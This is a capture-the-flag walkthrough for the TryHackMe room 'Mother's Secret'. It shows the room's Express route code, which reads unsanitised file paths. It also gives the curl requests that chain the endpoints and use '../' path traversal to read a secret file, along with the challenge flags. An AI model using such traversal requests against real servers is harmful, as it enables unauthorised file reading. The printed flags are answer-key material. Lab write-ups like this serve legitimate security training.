> For the complete documentation index, see [llms.txt](https://tjf952.gitbook.io/disboard/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://tjf952.gitbook.io/disboard/try-hack-me/mothers-secret.md).

# MOTHER'S SECRET

<figure><img src="/files/stklKYpfEllbgY7yFJvy" alt=""><figcaption></figcaption></figure>

**Walkthrough for Mother's Secret**

> Web application
>
> 100375 > keyword
>
> "/api/nostromo/mother/secret.txt" > known path

## Enumeration

To start, a lot of important information is given at the beginning of the box:

* There is a web client running on port 80
* A router file called `routes.txt` is provided
* Emergency command override is 100375 - used when accessing *Alien Loaders* - could be for api call
* Routes must be hit in the right order to escalate privilege
* Path of secret.txt is `/api/nostromo/mother/secret.txt`

<figure><img src="/files/6yU84RDTgyV8b0Y88G0A" alt=""><figcaption></figcaption></figure>

The website shows a text box providing additional information:

* Alien Loader: This is a YAML loader function, the function parses and loads YAML data and can reveal hidden paths > this can most likely be one of the paths from the `routes.txt` file
* Pathways: Nostromo endpoint most likely has a path traversal vulnerability that can be found by giving relative paths within the mother folder > this can also be referenced in the `routes.txt` file

{% code title="routes.txt" %}

```javascript
API ROUTES

------------------------------------------

yaml.js
------------------------------------------

import express from "express";
import yaml from "js-yaml";
import fs from "fs";
import { attachWebSocket } from "../websocket.js";

const Router = express.Router();

const isYaml = (filename) => filename.split(".").pop() === "yaml";

Router.post("/", (req, res) => {
  let file_path = req.body.file_path;
  const filePath = `./public/${file_path}`;

  if (!isYaml(filePath)) {
    res.status(500).json({
      status: "error",
      message: "Not a YAML file path.",
    });
    return;
  }

  fs.readFile(filePath, "utf8", (err, data) => {
    if (err) {
      res.status(500).json({
        status: "error",
        message: "Failed to read the file.",
      });
      return;
    }

    res.status(200).send(yaml.load(data));

    attachWebSocket().of("/yaml").emit("yaml", "YAML data has been processed.");
  });
});

export default Router;
------------------------------------------

Nostromo.js
------------------------------------------

import express from "express";
import fs from "fs";
// import { attachWebSocket } from "../../mothers_secret_challenge/websocket.js";
import { attachWebSocket } from "../websocket.js";
import { isYamlAuthenticate } from "./yaml.js";
let isNostromoAuthenticate = false;

const Router = express.Router();

Router.post("/nostromo", (req, res) => {
  let file_path = req.body.file_path;
  const filePath = `./public/${file_path}`;

  fs.readFile(filePath, "utf8", (err, data) => {
    if (err) {
      res.status(500).json({
        status: "error",
        message: "Science Officer Eyes Only",
      });
      return;
    }

    isNostromoAuthenticate = true
    res.status(200).send(data);

    attachWebSocket()
      .of("/nostromo")
      .emit("nostromo", "Nostromo data has been processed.");
  });
});

Router.post("/nostromo/mother", (req, res) => {
 
  let file_path = req.body.file_path;
  const filePath = `./mother/${file_path}`;

  if(!isNostromoAuthenticate || !isYamlAuthenticate){
    res.status(500).json({
      status: "Authentication failed",
      message: "Kindly visit nostromo & yaml route first.",
    });
    return 
  }

  fs.readFile(filePath, "utf8", (err, data) => {
    if (err) {
      res.status(500).json({
        status: "error",
        message: "Science Officer Eyes Only",
      });
      return;
    }

    res.status(200).send(data);

    // attachWebSocket()
    //   .of("/nostromo")
    //   .emit("nostromo", "Nostromo data has been processed.");
  });
});

export default Router;



------------------------------------------

```

{% endcode %}

The provided file `routes.txt` provides three endpoints of interest:

1. POST "/" with body element "file\_path"
   * Requires a valid "file\_path" that ends in "yaml"
   * The "file\_path" must exist in the `./public/...` path
   * If either fails, a 500 response will be sent with an error
   * Success message will be sent to path "/yaml"
2. POST "/nostromo" with body element "file\_path"
   * Requires a valid "file\_path" that exists in the `./public/...` path
   * Success message sent to "/nostromo"
3. POST "/nostromo/mother" with body element "file\_path"
   * Requires that both endpoints above were reached successfully
   * Requires a valid "file\_path" for readFile function
   * Success message sent to "/nostromo"

## Exploitation

Since there are routes given in the javascript file above, some attempts can be made to reach them. At first, the response was a consistent `{"status":"You just hit the wrong route."}`.&#x20;

1. First attempt failed > `curl -X POST http://$IP/ -d '{"file_path":"test.yaml"}'`
2. Second attempt to specify "/yaml" path > `curl -X POST http://$IP/yaml -H "Content-Type: application/json" -d '{"file_path":"test.yaml"}'` > Returned `{"status":"error","message":"Failed to read the file."}`

At this point, the correct route was found to reach out to the loader. The next step involved finding a valid path and crafting a valid packet. One important step is making sure that the payload content is correctly identified so that the receiver knows what exactly is reading. Since the payload involves a key-value pair, it makes sense to encode it as json therefore including the header `Content-Type: application/json`. Once this is done, it's time to fuzz or guess a possible file path. Although one of their instructions gave it away, I didn't make the connection, so I brute forced it, but for simplicity, the simple thing was to utilize the "override" 100375.

The following command ending up returning some interesting information:

`curl -X POST http://$IP/yaml -H "Content-Type: application/json" -d '{"file_path":"100375.yaml"}'`

> FOR SCIENCE OFFICER EYES ONLY special SECRETS: REROUTING TO: api/nostromo ORDER: 0rd3r937.txt \[\*\*\*\*] UNABLE TO CLARIFY. NO FURTHER ENHANCEMENT.

The file "0rd3r937.txt" was revealed so let's try reading that through the nostromo endpoint:

Command: `curl -X POST http://$IP/api/nostromo -H "Content-Type: application/json" -d '{"file_path":"0rd3r937.txt"}'`

<figure><img src="/files/y8yjRPBkhO48wkEzaNEk" alt=""><figcaption></figcaption></figure>

This also reveals the flag for nostromo and enables the "/nostromo/mother" endpoint!

{% hint style="success" %}
Nostromo Flag: Flag{X3n0M0Rph}
{% endhint %}

Since this will turn on the *isNostromoAuthenticate* flag, the "mother" endpoint can likely be reached now. The following request shows the location of secret information.

Command: `curl -X POST http://$IP/api/nostromo/mother -H "Content-Type: application/json" -d '{"file_path":"secret.txt"}'`

> Secret: /opt/m0th3r

Following the same techniques as first, directory traversal works at being able to read files outside of the current directory!

Command: `curl -X POST http://$IP/api/nostromo/mother -H "Content-Type: application/json" -d '{"file_path":"../../../../opt/m0th3r"}'`

{% hint style="success" %}
Secrert Flag: Flag{Ensure\_return\_of\_organism\_meow\_meow!}
{% endhint %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://tjf952.gitbook.io/disboard/try-hack-me/mothers-secret.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
